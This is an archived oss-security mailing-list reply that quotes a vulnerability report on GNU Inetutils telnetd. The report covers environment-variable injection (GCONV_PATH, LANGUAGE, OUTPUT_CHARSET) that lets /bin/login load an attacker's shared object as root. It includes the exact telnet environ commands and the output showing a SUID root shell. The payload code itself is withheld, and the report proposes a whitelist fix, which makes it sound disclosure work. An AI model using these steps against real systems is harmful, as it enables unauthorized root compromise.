Re: [oss-security] Re: Telnetd Vulnerability Report
clumsy <[email protected]> Tue, 24 Feb 2026 21:00:35 +0100
| Newsgroups | gmane.comp.gnu.inetutils.bugs,gmane.comp.security.oss.general |
|---|---|
| Message-ID | <CACpTWpjDhWQvzG-kbCGteP6cYMZ0TVBW6YUmbBU6SxxF+T7KvQ@mail.gmail.com> |
--000000000000e1b02b064b975714 Content-Type: text/plain; charset="UTF-8" > Who uses telnet anyway? whats the point you're tring to make by said this? On Tue, 24 Feb 2026 at 19:58 <[email protected]> wrote: > Who uses telnet anyway? It's deprecated. Everyone uses ssh for any kind of > remote access. > > > On Tuesday, February 24th, 2026 at 7:51 AM, Justin Swartz < > [email protected]> wrote: > > > Greetings, > > > > I have been reviewing the recent vulnerability report by Ron Ben Yizhak > regarding CREDENTIALS_DIRECTORY, as well as commit 4db2f19f which > introduces unsetenv("CREDENTIALS_DIRECTORY") to address the problem. > > > > After becoming aware of CVE-2026-24061 (telnetd in GNU Inetutils through > 2.7 allows remote authentication bypass via a "-f root" value for the USER > environment variable), I was curious to find out whether there'd also been > a potential regression of CVE-1999-0073, described as: telnet allows a > remote client to specify environment variables including LD_LIBRARY_PATH, > allowing an attacker to bypass the normal system libraries and gain root > access. I can confirm that this is still an issue 27 years later, despite > attempts at blacklisting environment variables by prefix or full name. > > > > The problem stems from telnetd executing /bin/login in a root-to-root > context, which means that AT_SECURE is set to 0 by the kernel in the > process's auxiliary vector. When AT_SECURE holds a positive value, it > informs the dynamic linker (ld-linux.so) and libc to enter a > "secure-execution mode" where a bunch of interesting environment variables > are discarded or, at least, defanged if present. In other words, the > responsibility is on telnetd itself to ensure that none of those > potentially interesting, and attacker controlled, variables make their way > to /bin/login. > > > > While using unsetenv() negates a user's ability to exploit the > login.noauth vector, the possibility still exists for the inclusion of > variables of interest to GNU gettext (such as OUTPUT_CHARSET or LANGUAGE) > and glibc (such as GCONV_PATH) via the telnet protocol itself. > > > > For example, by injecting OUTPUT_CHARSET and LANGUAGE, an attacker can > persuade gettext that a character set conversion is necessary. This forces > gettext to call libc's iconv_open(), and because AT_SECURE is 0, > iconv_open() will use an injected GCONV_PATH in its quest for a > gconv-modules file. Assuming the attacker already has a local unprivileged > account, or at least a means of uploading files to the host (and knowing > the location of the uploaded files), a custom gconv-modules file will allow > arbitrary shared objects to be loaded soon after /bin/login attempts to > print a localized prompt. > > > > For proof of concept, I've declared a broad selection of LANGUAGE codes > for the best chance of matching an installed locale. An attacker with local > access could simply determine what's actually installed and select only one > that doesn't match the system's default locale instead. Similarly, > OUTPUT_CHARSET has been chosen as a deliberate mismatch against the very > common choice of UTF-8: > > > > [email protected]:~$ ls -al .gconv > > total 184 > > drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . > > drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. > > -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules > > -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so > > > > > > [email protected]:~$ telnet -l abuser > > telnet> environ define GCONV_PATH /home/abuser/.gconv > > telnet> environ export GCONV_PATH > > telnet> environ define LANGUAGE > fr:de:es:it:pt:nl:sv:pl:uk:ru:zh_CN:ko:ja > > telnet> environ export LANGUAGE > > telnet> environ define OUTPUT_CHARSET ISO-8859-1 > > telnet> environ export OUTPUT_CHARSET > > telnet> open 127.0.0.1 > > Trying 127.0.0.1... > > Connected to 127.0.0.1. > > Escape character is '^]'. > > > > Linux (localhost) (pts/6) > > > > Connection closed by foreign host. > > > > > > [email protected]:~$ ls -al .gconv > > total 184 > > drwxr-xr-x 2 abuser abuser 4096 Jan 1 1970 . > > drwxr-x--- 5 abuser abuser 36864 Jan 1 1970 .. > > -rw-r--r-- 1 abuser abuser 256 Jan 1 1970 gconv-modules > > -rw-r--r-- 1 abuser abuser 15568 Jan 1 1970 libcash2trash.so > > -rwsr-sr-x 1 root root 125640 Jan 1 1970 trash > > > > > > [email protected]:~$ .gconv/trash -p > > # id > > uid=1001(abuser) gid=1002(abuser) euid=0(root) egid=0(root) > groups=0(root),1002(abuser) > > > > > > Once the telnet connection opens, /bin/login tries to print the > localized prompt but gettext recognizes the encoding mismatch and calls > iconv_open() to parse the gconv-modules file in the directory referenced by > the injected path before loading the shared object that turns cash ($) to > trash (#). The connection drops because I included a call to exit() once > the payload has executed. As illustrated above, the payload effectively > asserts root privilege and makes a copy of /bin/sh with SUID/SGID > permissions. Note that no authentication via telnetd was required, nor > performed, for this privilege escalation trick to occur. Also note that > this is just one of many possible methods that may be used to exploit this > condition. > > > > In my opinion, to fix this issue and finally put the ghost of > CVE-1999-0073 to rest: telnetd must drop the blacklist approach and adopt > the OpenSSH AcceptEnv-style approach suggested by Simon Josefsson [1], > which amounts to preparing a brand new environment for /bin/login based on > a strict whitelist of variables names considered to be "safe", and perhaps > a healthy dose of input sanitization for their respective values. > > > > In terms of the CVE that Ron Ben Yizhak had asked about earlier in the > thread: I think it might make the most sense to co-ordinate a single CVE > for "Improper environment sanitization in telnetd" that comprehensively > covers both the CREDENTIALS_DIRECTORY vector and this dynamic linker escape. > > > > I'm happy to share the intentionally redacted payload privately with the > maintainers should any help be required to reproduce the proof of concept. > > > > Regards, > > Justin > > > > --- > > > > [1] > https://lists.gnu.org/archive/html/bug-inetutils/2026-02/msg00002.html > > > > --000000000000e1b02b064b975714 Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable <div><div dir=3D"auto">>=C2=A0<span style=3D"color:rgb(49,49,49);font-fa= mily:-apple-system,sans-serif;font-size:inherit;word-spacing:1px">Who uses = telnet anyway?</span></div><div dir=3D"auto"><font color=3D"#313131" face= =3D"-apple-system, sans-serif"><span style=3D"word-spacing:1px">whats the p= oint you're tring to make by said this?</span></font></div></div><div d= ir=3D"auto"><font color=3D"#313131" face=3D"-apple-system, sans-serif"><spa= n style=3D"word-spacing:1px"><br></span></font></div><div><div><div class= =3D"gmail_quote"><div dir=3D"ltr" class=3D"gmail_attr">On Tue, 24 Feb 2026 = at 19:58 <<a href=3D"mailto:[email protected]" target=3D"_blank">kf503bl= [email protected]</a>> wrote:<br></div><blockquote class=3D"gmail_quote" style= =3D"margin:0 0 0 .8ex;border-left:1px #ccc solid;padding-left:1ex">Who uses= telnet anyway? It's deprecated. Everyone uses ssh for any kind of remo= te access.<br> <br> <br> On Tuesday, February 24th, 2026 at 7:51 AM, Justin Swartz <<a href=3D"ma= ilto:[email protected]" target=3D"_blank"= >[email protected]</a>> wrote:<br> <br> > Greetings,<br> > <br> > I have been reviewing the recent vulnerability report by Ron Ben Yizha= k regarding CREDENTIALS_DIRECTORY, as well as commit 4db2f19f which introdu= ces unsetenv("CREDENTIALS_DIRECTORY") to address the problem.<br> > <br> > After becoming aware of CVE-2026-24061 (telnetd in GNU Inetutils throu= gh 2.7 allows remote authentication bypass via a "-f root" value = for the USER environment variable), I was curious to find out whether there= 'd also been a potential regression of CVE-1999-0073, described as: tel= net allows a remote client to specify environment variables including LD_LI= BRARY_PATH, allowing an attacker to bypass the normal system libraries and = gain root access. I can confirm that this is still an issue 27 years later,= despite attempts at blacklisting environment variables by prefix or full n= ame.<br> > <br> > The problem stems from telnetd executing /bin/login in a root-to-root = context, which means that AT_SECURE is set to 0 by the kernel in the proces= s's auxiliary vector. When AT_SECURE holds a positive value, it informs= the dynamic linker (ld-linux.so) and libc to enter a "secure-executio= n mode" where a bunch of interesting environment variables are discard= ed or, at least, defanged if present. In other words, the responsibility is= on telnetd itself to ensure that none of those potentially interesting, an= d attacker controlled, variables make their way to /bin/login.<br> > <br> > While using unsetenv() negates a user's ability to exploit the log= in.noauth vector, the possibility still exists for the inclusion of variabl= es of interest to GNU gettext (such as OUTPUT_CHARSET or LANGUAGE) and glib= c (such as GCONV_PATH) via the telnet protocol itself.<br> > <br> > For example, by injecting OUTPUT_CHARSET and LANGUAGE, an attacker can= persuade gettext that a character set conversion is necessary. This forces= gettext to call libc's iconv_open(), and because AT_SECURE is 0, iconv= _open() will use an injected GCONV_PATH in its quest for a gconv-modules fi= le. Assuming the attacker already has a local unprivileged account, or at l= east a means of uploading files to the host (and knowing the location of th= e uploaded files), a custom gconv-modules file will allow arbitrary shared = objects to be loaded soon after /bin/login attempts to print a localized pr= ompt.<br> > <br> > For proof of concept, I've declared a broad selection of LANGUAGE = codes for the best chance of matching an installed locale. An attacker with= local access could simply determine what's actually installed and sele= ct only one that doesn't match the system's default locale instead.= Similarly, OUTPUT_CHARSET has been chosen as a deliberate mismatch against= the very common choice of UTF-8:<br> > <br> >=C2=A0 [email protected]:~$ ls -al .gconv<br> >=C2=A0 =C2=A0total 184<br> >=C2=A0 =C2=A0drwxr-xr-x 2 abuser abuser=C2=A0 =C2=A04096 Jan=C2=A0 1=C2= =A0 1970 .<br> >=C2=A0 =C2=A0drwxr-x--- 5 abuser abuser=C2=A0 36864 Jan=C2=A0 1=C2=A0 1= 970 ..<br> >=C2=A0 =C2=A0-rw-r--r-- 1 abuser abuser=C2=A0 =C2=A0 256 Jan=C2=A0 1=C2= =A0 1970 gconv-modules<br> >=C2=A0 =C2=A0-rw-r--r-- 1 abuser abuser=C2=A0 15568 Jan=C2=A0 1=C2=A0 1= 970 libcash2trash.so<br> > <br> > <br> >=C2=A0 [email protected]:~$ telnet -l abuser<br> >=C2=A0 =C2=A0telnet> environ define GCONV_PATH /home/abuser/.gconv<b= r> >=C2=A0 =C2=A0telnet> environ export GCONV_PATH<br> >=C2=A0 =C2=A0telnet> environ define LANGUAGE fr:de:es:it:pt:nl:sv:pl= :uk:ru:zh_CN:ko:ja<br> >=C2=A0 =C2=A0telnet> environ export LANGUAGE<br> >=C2=A0 =C2=A0telnet> environ define OUTPUT_CHARSET ISO-8859-1<br> >=C2=A0 =C2=A0telnet> environ export OUTPUT_CHARSET<br> >=C2=A0 =C2=A0telnet> open 127.0.0.1<br> >=C2=A0 =C2=A0Trying 127.0.0.1...<br> >=C2=A0 =C2=A0Connected to 127.0.0.1.<br> >=C2=A0 =C2=A0Escape character is '^]'.<br> > <br> >=C2=A0 =C2=A0Linux (localhost) (pts/6)<br> > <br> >=C2=A0 =C2=A0Connection closed by foreign host.<br> > <br> > <br> >=C2=A0 [email protected]:~$ ls -al .gconv<br> >=C2=A0 =C2=A0total 184<br> >=C2=A0 =C2=A0drwxr-xr-x 2 abuser abuser=C2=A0 =C2=A04096 Jan=C2=A0 1=C2= =A0 1970 .<br> >=C2=A0 =C2=A0drwxr-x--- 5 abuser abuser=C2=A0 36864 Jan=C2=A0 1=C2=A0 1= 970 ..<br> >=C2=A0 =C2=A0-rw-r--r-- 1 abuser abuser=C2=A0 =C2=A0 256 Jan=C2=A0 1=C2= =A0 1970 gconv-modules<br> >=C2=A0 =C2=A0-rw-r--r-- 1 abuser abuser=C2=A0 15568 Jan=C2=A0 1=C2=A0 1= 970 libcash2trash.so<br> >=C2=A0 =C2=A0-rwsr-sr-x 1 root=C2=A0 =C2=A0root=C2=A0 =C2=A0125640 Jan= =C2=A0 1=C2=A0 1970 trash<br> > <br> > <br> >=C2=A0 [email protected]:~$ .gconv/trash -p<br> >=C2=A0 =C2=A0# id<br> >=C2=A0 =C2=A0uid=3D1001(abuser) gid=3D1002(abuser) euid=3D0(root) egid= =3D0(root) groups=3D0(root),1002(abuser)<br> > <br> > <br> > Once the telnet connection opens, /bin/login tries to print the locali= zed prompt but gettext recognizes the encoding mismatch and calls iconv_ope= n() to parse the gconv-modules file in the directory referenced by the inje= cted path before loading the shared object that turns cash ($) to trash (#)= . The connection drops because I included a call to exit() once the payload= has executed. As illustrated above, the payload effectively asserts root p= rivilege and makes a copy of /bin/sh with SUID/SGID permissions. Note that = no authentication via telnetd was required, nor performed, for this privile= ge escalation trick to occur. Also note that this is just one of many possi= ble methods that may be used to exploit this condition.<br> > <br> > In my opinion, to fix this issue and finally put the ghost of CVE-1999= -0073 to rest: telnetd must drop the blacklist approach and adopt the OpenS= SH AcceptEnv-style approach suggested by Simon Josefsson [1], which amounts= to preparing a brand new environment for /bin/login based on a strict whit= elist of variables names considered to be "safe", and perhaps a h= ealthy dose of input sanitization for their respective values.<br> > <br> > In terms of the CVE that Ron Ben Yizhak had asked about earlier in the= thread: I think it might make the most sense to co-ordinate a single CVE f= or "Improper environment sanitization in telnetd" that comprehens= ively covers both the CREDENTIALS_DIRECTORY vector and this dynamic linker = escape.<br> > <br> > I'm happy to share the intentionally redacted payload privately wi= th the maintainers should any help be required to reproduce the proof of co= ncept.<br> > <br> > Regards,<br> > Justin<br> > <br> > ---<br> > <br> > [1] <a href=3D"https://lists.gnu.org/archive/html/bug-inetutils/2026-0= 2/msg00002.html" rel=3D"noreferrer" target=3D"_blank">https://lists.gnu.org= /archive/html/bug-inetutils/2026-02/msg00002.html</a><br> ><br> <br> </blockquote></div></div> </div> --000000000000e1b02b064b975714--